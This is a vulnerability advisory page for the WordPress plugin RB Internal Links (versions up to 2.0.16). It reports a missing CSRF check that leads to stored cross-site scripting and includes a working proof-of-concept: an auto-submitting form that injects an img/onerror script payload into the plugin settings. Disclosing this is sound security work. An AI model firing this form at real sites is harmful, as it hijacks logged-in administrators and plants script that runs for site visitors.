Lucene search

K
wpexploitDaniel RufWPEX-ID:D8E63F78-F38A-4F68-96BA-8059D175CEA8
HistoryMay 23, 2022 - 12:00 a.m.

RB Internal Links <= 2.0.16 - Stored Cross-Site Scripting via CSRF

2022-05-2300:00:00
Daniel Ruf
77
cross-site scripting
csrf
form injection
security exploit
wordpress plugin

EPSS

0.001

Percentile

21.2%

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, as well as perform Stored Cross-Site Scripting attacks due to the lack of sanitisation and escaping

<form id="test" action="https://example.com/wp-admin/options-general.php?page=rb-internal-links" method="POST">
    <input type="text" name="rbinternal_submit" value="1">
    <input type="text" name="tinymce" value="0">
    <input type="text" name="tinymce" value="1">
    <input type="text" name="return_param" value="id">
    <input type="text" name="default_text" value="url">
    <input type="text" name="code_prefix" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="code_suffix" value="bbb">
    <input type="text" name="page_order" value="post_title">
    <input type="text" name="Submit" value="Änderungen speichern">
</form>
<script>
    document.getElementById("test").submit();
</script>

EPSS

0.001

Percentile

21.2%

Related for WPEX-ID:D8E63F78-F38A-4F68-96BA-8059D175CEA8